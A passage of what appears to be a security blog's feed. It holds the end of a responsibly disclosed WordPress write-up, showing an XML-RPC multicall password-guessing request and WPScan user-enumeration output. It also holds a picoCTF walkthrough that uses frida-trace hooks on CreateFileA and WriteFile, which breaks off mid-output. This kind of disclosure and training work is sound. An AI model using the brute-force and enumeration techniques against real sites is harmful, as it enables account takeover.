<span id="cb5-18"><a href="#cb5-18" aria-hidden="true" tabindex="-1"></a><span class="st">              &lt;member&gt;&lt;name&gt;params&lt;/name&gt;&lt;value&gt;&lt;array&gt;&lt;data&gt;</span></span>
<span id="cb5-19"><a href="#cb5-19" aria-hidden="true" tabindex="-1"></a><span class="st">                &lt;value&gt;&lt;string&gt;interndev&lt;/string&gt;&lt;/value&gt;</span></span>
<span id="cb5-20"><a href="#cb5-20" aria-hidden="true" tabindex="-1"></a><span class="st">                &lt;value&gt;&lt;string&gt;test123&lt;/string&gt;&lt;/value&gt;</span></span>
<span id="cb5-21"><a href="#cb5-21" aria-hidden="true" tabindex="-1"></a><span class="st">              &lt;/data&gt;&lt;/array&gt;&lt;/value&gt;&lt;/member&gt;</span></span>
<span id="cb5-22"><a href="#cb5-22" aria-hidden="true" tabindex="-1"></a><span class="st">            &lt;/struct&gt;&lt;/value&gt;</span></span>
<span id="cb5-23"><a href="#cb5-23" aria-hidden="true" tabindex="-1"></a><span class="st">            &lt;value&gt;&lt;struct&gt;</span></span>
<span id="cb5-24"><a href="#cb5-24" aria-hidden="true" tabindex="-1"></a><span class="st">              &lt;member&gt;&lt;name&gt;methodName&lt;/name&gt;&lt;value&gt;&lt;string&gt;wp.getUsersBlogs&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;</span></span>
<span id="cb5-25"><a href="#cb5-25" aria-hidden="true" tabindex="-1"></a><span class="st">              &lt;member&gt;&lt;name&gt;params&lt;/name&gt;&lt;value&gt;&lt;array&gt;&lt;data&gt;</span></span>
<span id="cb5-26"><a href="#cb5-26" aria-hidden="true" tabindex="-1"></a><span class="st">                &lt;value&gt;&lt;string&gt;interndev&lt;/string&gt;&lt;/value&gt;</span></span>
<span id="cb5-27"><a href="#cb5-27" aria-hidden="true" tabindex="-1"></a><span class="st">                &lt;value&gt;&lt;string&gt;password123&lt;/string&gt;&lt;/value&gt;</span></span>
<span id="cb5-28"><a href="#cb5-28" aria-hidden="true" tabindex="-1"></a><span class="st">              &lt;/data&gt;&lt;/array&gt;&lt;/value&gt;&lt;/member&gt;</span></span>
<span id="cb5-29"><a href="#cb5-29" aria-hidden="true" tabindex="-1"></a><span class="st">            &lt;/struct&gt;&lt;/value&gt;</span></span>
<span id="cb5-30"><a href="#cb5-30" aria-hidden="true" tabindex="-1"></a><span class="st">          &lt;/data&gt;</span></span>
<span id="cb5-31"><a href="#cb5-31" aria-hidden="true" tabindex="-1"></a><span class="st">        &lt;/array&gt;</span></span>
<span id="cb5-32"><a href="#cb5-32" aria-hidden="true" tabindex="-1"></a><span class="st">      &lt;/value&gt;</span></span>
<span id="cb5-33"><a href="#cb5-33" aria-hidden="true" tabindex="-1"></a><span class="st">    &lt;/param&gt;</span></span>
<span id="cb5-34"><a href="#cb5-34" aria-hidden="true" tabindex="-1"></a><span class="st">  &lt;/params&gt;</span></span>
<span id="cb5-35"><a href="#cb5-35" aria-hidden="true" tabindex="-1"></a><span class="st">&lt;/methodCall&gt;&#39;</span></span>
<span id="cb5-36"><a href="#cb5-36" aria-hidden="true" tabindex="-1"></a><span class="op">&lt;</span><span class="ex">?xml</span> version=<span class="st">&quot;1.0&quot;</span> encoding=<span class="st">&quot;UTF-8&quot;</span><span class="pp">?</span><span class="op">&gt;</span></span>
<span id="cb5-37"><a href="#cb5-37" aria-hidden="true" tabindex="-1"></a><span class="op">&lt;</span>methodResponse<span class="op">&gt;</span></span>
<span id="cb5-38"><a href="#cb5-38" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;</span>params<span class="op">&gt;</span></span>
<span id="cb5-39"><a href="#cb5-39" aria-hidden="true" tabindex="-1"></a>    <span class="op">&lt;</span>param<span class="op">&gt;</span></span>
<span id="cb5-40"><a href="#cb5-40" aria-hidden="true" tabindex="-1"></a>      <span class="op">&lt;</span>value<span class="op">&gt;</span></span>
<span id="cb5-41"><a href="#cb5-41" aria-hidden="true" tabindex="-1"></a>      <span class="op">&lt;</span>array<span class="op">&gt;&lt;</span>data<span class="op">&gt;</span></span>
<span id="cb5-42"><a href="#cb5-42" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;</span>value<span class="op">&gt;&lt;</span>struct<span class="op">&gt;</span></span>
<span id="cb5-43"><a href="#cb5-43" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;</span>member<span class="op">&gt;&lt;</span>name<span class="op">&gt;</span>faultCode<span class="op">&lt;</span>/name<span class="op">&gt;&lt;</span>value<span class="op">&gt;&lt;</span>int<span class="op">&gt;</span>403<span class="op">&lt;</span>/int<span class="op">&gt;&lt;</span>/value<span class="op">&gt;&lt;</span>/member<span class="op">&gt;</span></span>
<span id="cb5-44"><a href="#cb5-44" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;</span>member<span class="op">&gt;&lt;</span>name<span class="op">&gt;</span>faultString<span class="op">&lt;</span>/name<span class="op">&gt;&lt;</span>value<span class="op">&gt;&lt;</span>string<span class="op">&gt;</span>Incorrect <span class="ex">username</span> or password.<span class="op">&lt;</span>/string<span class="op">&gt;&lt;</span>/value<span class="op">&gt;&lt;</span>/member<span class="op">&gt;</span></span>
<span id="cb5-45"><a href="#cb5-45" aria-hidden="true" tabindex="-1"></a><span class="op">&lt;</span>/struct<span class="op">&gt;&lt;</span>/value<span class="op">&gt;</span></span>
<span id="cb5-46"><a href="#cb5-46" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;</span>value<span class="op">&gt;&lt;</span>struct<span class="op">&gt;</span></span>
<span id="cb5-47"><a href="#cb5-47" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;</span>member<span class="op">&gt;&lt;</span>name<span class="op">&gt;</span>faultCode<span class="op">&lt;</span>/name<span class="op">&gt;&lt;</span>value<span class="op">&gt;&lt;</span>int<span class="op">&gt;</span>403<span class="op">&lt;</span>/int<span class="op">&gt;&lt;</span>/value<span class="op">&gt;&lt;</span>/member<span class="op">&gt;</span></span>
<span id="cb5-48"><a href="#cb5-48" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;</span>member<span class="op">&gt;&lt;</span>name<span class="op">&gt;</span>faultString<span class="op">&lt;</span>/name<span class="op">&gt;&lt;</span>value<span class="op">&gt;&lt;</span>string<span class="op">&gt;</span>Incorrect <span class="ex">username</span> or password.<span class="op">&lt;</span>/string<span class="op">&gt;&lt;</span>/value<span class="op">&gt;&lt;</span>/member<span class="op">&gt;</span></span>
<span id="cb5-49"><a href="#cb5-49" aria-hidden="true" tabindex="-1"></a><span class="op">&lt;</span>/struct<span class="op">&gt;&lt;</span>/value<span class="op">&gt;</span></span>
<span id="cb5-50"><a href="#cb5-50" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;</span>value<span class="op">&gt;&lt;</span>struct<span class="op">&gt;</span></span>
<span id="cb5-51"><a href="#cb5-51" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;</span>member<span class="op">&gt;&lt;</span>name<span class="op">&gt;</span>faultCode<span class="op">&lt;</span>/name<span class="op">&gt;&lt;</span>value<span class="op">&gt;&lt;</span>int<span class="op">&gt;</span>403<span class="op">&lt;</span>/int<span class="op">&gt;&lt;</span>/value<span class="op">&gt;&lt;</span>/member<span class="op">&gt;</span></span>
<span id="cb5-52"><a href="#cb5-52" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;</span>member<span class="op">&gt;&lt;</span>name<span class="op">&gt;</span>faultString<span class="op">&lt;</span>/name<span class="op">&gt;&lt;</span>value<span class="op">&gt;&lt;</span>string<span class="op">&gt;</span>Incorrect <span class="ex">username</span> or password.<span class="op">&lt;</span>/string<span class="op">&gt;&lt;</span>/value<span class="op">&gt;&lt;</span>/member<span class="op">&gt;</span></span>
<span id="cb5-53"><a href="#cb5-53" aria-hidden="true" tabindex="-1"></a><span class="op">&lt;</span>/struct<span class="op">&gt;&lt;</span>/value<span class="op">&gt;</span></span>
<span id="cb5-54"><a href="#cb5-54" aria-hidden="true" tabindex="-1"></a><span class="op">&lt;</span>/data<span class="op">&gt;&lt;</span>/array<span class="op">&gt;</span></span>
<span id="cb5-55"><a href="#cb5-55" aria-hidden="true" tabindex="-1"></a>      <span class="op">&lt;</span>/value<span class="op">&gt;</span></span>
<span id="cb5-56"><a href="#cb5-56" aria-hidden="true" tabindex="-1"></a>    <span class="op">&lt;</span>/param<span class="op">&gt;</span></span>
<span id="cb5-57"><a href="#cb5-57" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;</span>/params<span class="op">&gt;</span></span>
<span id="cb5-58"><a href="#cb5-58" aria-hidden="true" tabindex="-1"></a><span class="op">&lt;</span>/methodResponse<span class="op">&gt;</span></span></code></pre></div>
<h2 id="additional-user-enumeration-via-wpscan"><a href="#additional-user-enumeration-via-wpscan" class="anchor">#</a>additional User Enumeration via WPScan</h2>
<div class="sourceCode" id="cb6"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb6-1"><a href="#cb6-1" aria-hidden="true" tabindex="-1"></a><span class="ex">wpscan</span> <span class="at">--url</span> https://staging.<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com <span class="at">--enumerate</span> u <span class="at">--plugins-detection</span> passive <span class="at">--random-user-agent</span></span>
<span id="cb6-2"><a href="#cb6-2" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> XML-RPC seems to be enabled: https://staging.<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com/xmlrpc.php</span>
<span id="cb6-3"><a href="#cb6-3" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">Found</span> By: Direct Access <span class="er">(</span><span class="ex">Aggressive</span> Detection<span class="kw">)</span></span>
<span id="cb6-4"><a href="#cb6-4" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">Confidence:</span> 100%</span>
<span id="cb6-5"><a href="#cb6-5" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">References:</span></span>
<span id="cb6-6"><a href="#cb6-6" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span>  <span class="ex">-</span> http://codex.wordpress.org/XML-RPC_Pingback_API</span>
<span id="cb6-7"><a href="#cb6-7" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span>  <span class="ex">-</span> https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/</span>
<span id="cb6-8"><a href="#cb6-8" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span>  <span class="ex">-</span> https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/</span>
<span id="cb6-9"><a href="#cb6-9" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span>  <span class="ex">-</span> https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/</span>
<span id="cb6-10"><a href="#cb6-10" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span>  <span class="ex">-</span> https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/</span>
<span id="cb6-11"><a href="#cb6-11" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> WordPress readme found: https://staging.<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com/readme.html</span>
<span id="cb6-12"><a href="#cb6-12" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">Found</span> By: Direct Access <span class="er">(</span><span class="ex">Aggressive</span> Detection<span class="kw">)</span></span>
<span id="cb6-13"><a href="#cb6-13" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">Confidence:</span> 100%</span>
<span id="cb6-14"><a href="#cb6-14" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> The external WP-Cron seems to be enabled: https://staging.<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com/wp-cron.php</span>
<span id="cb6-15"><a href="#cb6-15" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">Found</span> By: Direct Access <span class="er">(</span><span class="ex">Aggressive</span> Detection<span class="kw">)</span></span>
<span id="cb6-16"><a href="#cb6-16" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">Confidence:</span> 60%</span>
<span id="cb6-17"><a href="#cb6-17" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">References:</span></span>
<span id="cb6-18"><a href="#cb6-18" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span>  <span class="ex">-</span> https://www.iplocation.net/defend-wordpress-from-ddos</span>
<span id="cb6-19"><a href="#cb6-19" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span>  <span class="ex">-</span> https://github.com/wpscanteam/wpscan/issues/1299</span>
<span id="cb6-20"><a href="#cb6-20" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> WordPress version 6.7.4 identified <span class="er">(</span><span class="ex">Outdated,</span> released on 2025-09-30<span class="kw">)</span><span class="bu">.</span></span>
<span id="cb6-21"><a href="#cb6-21" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">Found</span> By: Rss Generator <span class="er">(</span><span class="ex">Passive</span> Detection<span class="kw">)</span></span>
<span id="cb6-22"><a href="#cb6-22" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span>  <span class="ex">-</span> https://staging.<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com/feed/, <span class="op">&lt;</span>generator<span class="op">&gt;</span>https://wordpress.org/<span class="pp">?</span>v=6.7.4<span class="op">&lt;</span>/generator<span class="op">&gt;</span></span>
<span id="cb6-23"><a href="#cb6-23" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span>  <span class="ex">-</span> https://staging.<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com/comments/feed/, <span class="op">&lt;</span>generator<span class="op">&gt;</span>https://wordpress.org/<span class="pp">?</span>v=6.7.4<span class="op">&lt;</span>/generator<span class="op">&gt;</span></span>
<span id="cb6-24"><a href="#cb6-24" aria-hidden="true" tabindex="-1"></a><span class="ex">[i]</span> User<span class="er">(</span><span class="ex">s</span><span class="kw">)</span> <span class="ex">Identified:</span></span>
<span id="cb6-25"><a href="#cb6-25" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> <span class="op">&lt;</span>REDACTED<span class="op">&gt;</span></span>
<span id="cb6-26"><a href="#cb6-26" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">Found</span> By: Rss Generator <span class="er">(</span><span class="ex">Passive</span> Detection<span class="kw">)</span></span>
<span id="cb6-27"><a href="#cb6-27" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">Confirmed</span> By: Rss Generator <span class="er">(</span><span class="ex">Aggressive</span> Detection<span class="kw">)</span></span>
<span id="cb6-28"><a href="#cb6-28" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> <span class="op">&lt;</span>REDACTED<span class="op">&gt;</span></span>
<span id="cb6-29"><a href="#cb6-29" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">Found</span> By: Wp Json Api <span class="er">(</span><span class="ex">Aggressive</span> Detection<span class="kw">)</span></span>
<span id="cb6-30"><a href="#cb6-30" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span>  <span class="ex">-</span> https://staging.<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com/wp-json/wp/v2/users/<span class="pp">?</span>per_page=100<span class="kw">&amp;</span><span class="va">page</span><span class="op">=</span>1</span>
<span id="cb6-31"><a href="#cb6-31" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">Confirmed</span> By: Author Id Brute Forcing <span class="at">-</span> Author Pattern <span class="er">(</span><span class="ex">Aggressive</span> Detection<span class="kw">)</span></span>
<span id="cb6-32"><a href="#cb6-32" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> <span class="op">&lt;</span>REDACTED<span class="op">&gt;</span></span>
<span id="cb6-33"><a href="#cb6-33" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">Found</span> By: Wp Json Api <span class="er">(</span><span class="ex">Aggressive</span> Detection<span class="kw">)</span></span>
<span id="cb6-34"><a href="#cb6-34" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span>  <span class="ex">-</span> https://staging.<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com/wp-json/wp/v2/users/<span class="pp">?</span>per_page=100<span class="kw">&amp;</span><span class="va">page</span><span class="op">=</span>1</span>
<span id="cb6-35"><a href="#cb6-35" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">Confirmed</span> By:</span>
<span id="cb6-36"><a href="#cb6-36" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span>  <span class="ex">Oembed</span> API <span class="at">-</span> Author URL <span class="er">(</span><span class="ex">Aggressive</span> Detection<span class="kw">)</span></span>
<span id="cb6-37"><a href="#cb6-37" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span>   <span class="ex">-</span> https://staging.<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com/wp-json/oembed/1.0/embed<span class="pp">?</span>url=https://staging.<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com/<span class="kw">&amp;</span><span class="va">format</span><span class="op">=</span>json</span>
<span id="cb6-38"><a href="#cb6-38" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span>  <span class="ex">Yoast</span> Seo Author Sitemap <span class="er">(</span><span class="ex">Aggressive</span> Detection<span class="kw">)</span></span>
<span id="cb6-39"><a href="#cb6-39" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span>   <span class="ex">-</span> https://staging.<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com/author-sitemap.xml</span>
<span id="cb6-40"><a href="#cb6-40" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span>  <span class="ex">Author</span> Id Brute Forcing <span class="at">-</span> Author Pattern <span class="er">(</span><span class="ex">Aggressive</span> Detection<span class="kw">)</span></span>
<span id="cb6-41"><a href="#cb6-41" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> <span class="op">&lt;</span>REDACTED<span class="op">&gt;</span></span>
<span id="cb6-42"><a href="#cb6-42" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">Found</span> By: Author Id Brute Forcing <span class="at">-</span> Author Pattern <span class="er">(</span><span class="ex">Aggressive</span> Detection<span class="kw">)</span></span>
<span id="cb6-43"><a href="#cb6-43" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> <span class="op">&lt;</span>REDACTED<span class="op">&gt;</span></span>
<span id="cb6-44"><a href="#cb6-44" aria-hidden="true" tabindex="-1"></a> <span class="kw">|</span> <span class="ex">Found</span> By: Author Id Brute Forcing <span class="at">-</span> Author Pattern <span class="er">(</span><span class="ex">Aggressive</span> Detection<span class="kw">)</span></span>
<span id="cb6-45"><a href="#cb6-45" aria-hidden="true" tabindex="-1"></a><span class="ex">---</span></span></code></pre></div>
<p>WPScan results confirmed:</p>
<ul>
<li>four distinct user accounts were enumerated</li>
<li>xml-rpc functionality was verified as enabled (should have just done this from the start, in retrospect)</li>
<li>multiple enumeration vectors were available (RSS feeds, JSON API, Author sitemaps)</li>
</ul>
<p>when combined with the <code>system.multicall()</code> amplification capability, this configuration presents a significant security risk for credential brute-force attacks.</p>
<h2 id="disclosure"><a href="#disclosure" class="anchor">#</a>disclosure</h2>
<p>This vulnerability was responsibly disclosed to the affected organization and has been remediated. Public disclosure was authorized following the resolution of all identified security issues.</p>]]></summary>
</entry>
<entry>
    <title>untitled01</title>
    <link href="https://rivers.sh/posts/untitled01/" />
    <id>https://rivers.sh/posts/untitled01/</id>
    <published>2025-07-18T00:00:00Z</published>
    <updated>2025-07-18T00:00:00Z</updated>
    <summary type="html"><![CDATA[<p>This post is password protected. Read it on the site.</p>]]></summary>
</entry>
<entry>
    <title>picoCTF: Binary Instrumentation II</title>
    <link href="https://rivers.sh/posts/picoctf-binaryinstrumentation2/" />
    <id>https://rivers.sh/posts/picoctf-binaryinstrumentation2/</id>
    <published>2025-05-02T00:00:00Z</published>
    <updated>2025-05-02T00:00:00Z</updated>
    <summary type="html"><![CDATA[<h2 id="challenge-info"><a href="#challenge-info" class="anchor">#</a>Challenge Info</h2>
<p>I've been learning more Windows API functions to do my bidding. Hmm... I swear this program was supposed to create a file and write the flag directly to the file. Can you try and intercept the file writing function to see what went wrong?</p>
<p>Download the exe <a href="https://challenge-files.picoctf.net/c_verbal_sleep/4aee1b9778a8e56724d015b027431fb236853a94f53e5dcf32c5ed32aed404da/bininst2.zip" target="_blank" rel="noopener">here</a>. Unzip the archive with the password <code>picoctf</code></p>
<h2 id="basic-forensics--info"><a href="#basic-forensics--info" class="anchor">#</a>Basic forensics &amp; info</h2>
<pre><code>C:\Users\river\Desktop\ctf\pico\BinaryInstrumentation2&gt;file bininst2.exe
bininst2.exe: PE32+ executable (console) x86-64, for MS Windows

FLARE-VM Sun 05/04/2025  4:11:07.21</code></pre>
<p><code>file</code> doesn't yield anything unexpected/unusual. Additionally, the program produces no output when ran:</p>
<pre><code>C:\Users\river\Desktop\ctf\pico\BinaryInstrumentation2&gt;bininst2.exe

FLARE-VM Sun 05/04/2025  4:11:48.40</code></pre>
<h2 id="frida-trace-exploration"><a href="#frida-trace-exploration" class="anchor">#</a>Frida-trace exploration</h2>
<p>A logical attempt would be to run the same <code>frida-trace</code> command as used in the previous challenge, in which we'd target the <code>Sleep</code> call and then inspect <code>Sleep.js</code> for anything odd. However, this is not the case with this challenge, as the <code>Sleep.js</code> in both DLL folders looks normal.</p>
<h3 id="overkill-frida-trace"><a href="#overkill-frida-trace" class="anchor">#</a>Overkill frida-trace</h3>
<pre><code>frida-trace -f bininst2.exe -i &quot;*&quot;</code></pre>
<ul>
<li>Traces <em>ALL</em> API calls from every library</li>
<li><code>-i "*"</code> means intercept everything</li>
</ul>
<p>This <code>frida-trace</code> command may look good at a glance, as it traces everything, but this actually works against us. The reason being, is that 99% of the handlers aren't relevant to solving the challenge, and this will just lead to information overload.</p>
<h3 id="specific-frida-trace"><a href="#specific-frida-trace" class="anchor">#</a>Specific frida-trace</h3>
<p>Knowing that this is a CTF, it's possible the flag is being written/read from a file, so we can try something like this:</p>
<pre><code>frida-trace -i *File* -f bininst2.exe -X KERNEL32</code></pre>
<ul>
<li>Only traces APIs that contain "File" in their name (<code>CreateFile</code>, <code>ReadFile</code>, <code>WriteFile</code>)</li>
<li><code>-X KERNEL32</code> excludes <code>KERNDEL32.dll</code> APIs</li>
</ul>
<p>This command, unlike the previous one, is much more focused and less noisy, as it focuses our scope on only the necessary.</p>
<h2 id="modifying-handlers"><a href="#modifying-handlers" class="anchor">#</a>Modifying handlers</h2>
<pre><code>C:\Users\river\Desktop\ctf\pico\BinaryInstrumentation2&gt;frida-trace -i *File* -f bininst2.exe -X KERNEL32
Instrumenting...

...

Started tracing 547 functions. Web UI available at http://localhost:51013/
           /* TID 0x18bc */
   501 ms  NtDeviceIoControlFile()
   501 ms  RtlDosApplyFileIsolationRedirection_Ustr()
   501 ms  RtlDosApplyFileIsolationRedirection_Ustr()
   501 ms  RtlDosApplyFileIsolationRedirection_Ustr()
   501 ms  NtQueryAttributesFile()
   501 ms  NtQueryAttributesFile()
   501 ms  NtOpenFile()
   501 ms  RtlDosApplyFileIsolationRedirection_Ustr()
   511 ms  GetSystemTimeAsFileTime()
   511 ms     | GetSystemTimeAsFileTime()
   511 ms  GetModuleFileNameW()
   511 ms     | GetModuleFileNameW()
   511 ms  AreFileApisANSI()
   511 ms     | AreFileApisANSI()
   511 ms  CreateFileA()
   511 ms     | CreateFileA()
Process terminated

FLARE-VM Sun 05/04/2025  4:46:25.91</code></pre>
<p>The output shows us that the program is utilizing <code>CreateFileA()</code>. However, upon inspecting <code>CreateFileA()</code> we see a very basic configuration, before modifying it to try and get more information, it's important to understand what we <em>can</em> do:</p>
<p>A quick search led me to <a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea" target="_blank" rel="noopener">this</a> Microsoft page, which shows the syntax for the <code>CreateFileA</code> function. I'll also leave it below for your convenience:</p>
<pre><code>HANDLE CreateFileA(
  [in]           LPCSTR                lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile
);</code></pre>
<h3 id="createfilea-modifications"><a href="#createfilea-modifications" class="anchor">#</a>CreateFileA modifications</h3>
<p>1st <code>CreateFileA</code> modification:</p>
<pre><code>defineHandler({
  onEnter(log, args, state) {
    // Log the filename being created
    state.filename = Memory.readUtf8String(args[0]);
    log(&#39;CreateFileA called with filename: &quot;&#39; + state.filename + &#39;&quot;&#39;);
  },
  
  onLeave(log, retval, state) {
    // Log the result
    log(&#39;CreateFileA returned: &#39; + retval);
  }
});</code></pre>
<ul>
<li>We read the filename string from <code>args[0]</code> (first argument to CreateFileA) and log it</li>
<li>We store the filename in <code>state</code> so we can reference it in the onLeave function</li>
<li>We log the handle returned by <code>CreateFileA</code> to see if it succeeded or failed</li>
<li>If the handle is <code>-1</code> (<code>INVALID_HANDLE_VALUE</code>), we know file creation failed</li>
<li>This tells us whether the path is valid and if file creation is working properly</li>
</ul>
<p>Output:</p>
<pre><code>frida-trace -i CreateFileA -f bininst2.exe -X KERNEL32

Started tracing 4 functions. Web UI available at http://localhost:64949/
           /* TID 0x1a40 */
    19 ms  CreateFileA()
    19 ms     | CreateFileA called with filename: &quot;&lt;Insert path here&gt;&quot;
    19 ms  CreateFileA returned: 0xffffffffffffffff
Process terminated```</code></pre>
<ul>
<li>The program is calling <code>CreateFileA</code> with an invalid filename: ``"<Insert path here>"` - this is clearly a placeholder that wasn't properly replaced with a real path</li>
<li><code>CreateFileA</code> returned <code>0xffffffffffffffff</code>, which is <code>-1</code> or <code>INVALID_HANDLE_VALUE</code>, confirming that file creation failed</li>
<li>The process terminated right after this, suggesting that the flag is being processed but never successfully written to a file</li>
</ul>
<p>This lead me to further edit <code>CreateFileA</code>, but this time, let's try replacing "<Insert path here>" with a valid filename ("flag.txt")</p>
<p>2nd <code>CreateFileA</code> modification:</p>
<pre><code>defineHandler({
  onEnter(log, args, state) {
    // Read original filename
    state.originalPath = Memory.readUtf8String(args[0]);
    log(&#39;CreateFileA - Original path: &quot;&#39; + state.originalPath + &#39;&quot;&#39;);
    
    // Replace the invalid path with a valid one
    const newPath = Memory.allocUtf8String(&#39;flag.txt&#39;);
    args[0] = newPath;
    
    // Save reference to prevent garbage collection
    state.newPath = newPath;
    
    log(&#39;CreateFileA - Replaced with: &quot;flag.txt&quot;&#39;);
  },
  
  onLeave(log, retval, state) {
    log(&#39;CreateFileA returned: &#39; + retval);
  }
});</code></pre>
<p>Output:</p>
<pre><code>frida-trace -i CreateFileA -f bininst2.exe -X KERNEL32

Started tracing 2 functions. Web UI available at http://localhost:49254/
           /* TID 0xb4c */
    20 ms  CreateFileA()
    20 ms     | CreateFileA - Original path: &quot;&lt;Insert path here&gt;&quot;
    20 ms     | CreateFileA - Replaced with: &quot;flag.txt&quot;
    20 ms  CreateFileA returned: 0x274
Process terminated</code></pre>
<p>However, upon checking the newly created <code>flag.txt</code>, you'll notice it's empty... but this is okay. Since <code>CreateFileA</code> is succeeding, that means it has to be calling <code>WriteFile</code>. So, let's try modifying the <code>WriteFile</code> handler to see if we can intercept the data it's attempting to write.</p>
<h3 id="writefile-modification--solution"><a href="#writefile-modification--solution" class="anchor">#</a>WriteFile modification &amp; solution</h3>
<p>We can set up a <code>WriteFile</code> handler to try and intercept the flag:</p>
<p><code>WriteFile</code> syntax:</p>
<div class="sourceCode" id="cb11"><pre class="sourceCode c++"><code class="sourceCode cpp"><span id="cb11-1"><a href="#cb11-1" aria-hidden="true" tabindex="-1"></a>BOOL WriteFile<span class="op">(</span></span>
<span id="cb11-2"><a href="#cb11-2" aria-hidden="true" tabindex="-1"></a>  <span class="op">[</span>in<span class="op">]</span>                HANDLE       hFile<span class="op">,</span></span>
<span id="cb11-3"><a href="#cb11-3" aria-hidden="true" tabindex="-1"></a>  <span class="op">[</span>in<span class="op">]</span>                LPCVOID      lpBuffer<span class="op">,</span></span>
<span id="cb11-4"><a href="#cb11-4" aria-hidden="true" tabindex="-1"></a>  <span class="op">[</span>in<span class="op">]</span>                DWORD        nNumberOfBytesToWrite<span class="op">,</span></span>
<span id="cb11-5"><a href="#cb11-5" aria-hidden="true" tabindex="-1"></a>  <span class="op">[</span>out<span class="op">,</span> optional<span class="op">]</span>     LPDWORD      lpNumberOfBytesWritten<span class="op">,</span></span>
<span id="cb11-6"><a href="#cb11-6" aria-hidden="true" tabindex="-1"></a>  <span class="op">[</span>in<span class="op">,</span> out<span class="op">,</span> optional<span class="op">]</span> LPOVERLAPPED lpOverlapped</span>
<span id="cb11-7"><a href="#cb11-7" aria-hidden="true" tabindex="-1"></a><span class="op">);</span></span></code></pre></div>
<p><code>WriteFile.js</code> modification:</p>
<pre><code>{
  onEnter(log, args, state) {
    // Log basic info
    log(&#39;WriteFile called with handle: &#39; + args[0]);
    log(&#39;WriteFile buffer content:&#39;);
    log(hexdump(args[1]));
  },
  
  onLeave(log, retval, state) {
    // Log result
    log(&#39;WriteFile returned: &#39; + retval);
  }
}</code></pre>
<ul>
<li>We're trying to examine the data that would be written to the file using <code>lpBuffer</code></li>
<li>We're logging the file handle &amp; return value to track success/failure</li>
</ul>
<p>Output:</p>
<pre><code>frida-trace -i CreateFileA -i WriteFile -f bininst2.exe -X KERNEL32

Instrumenting...
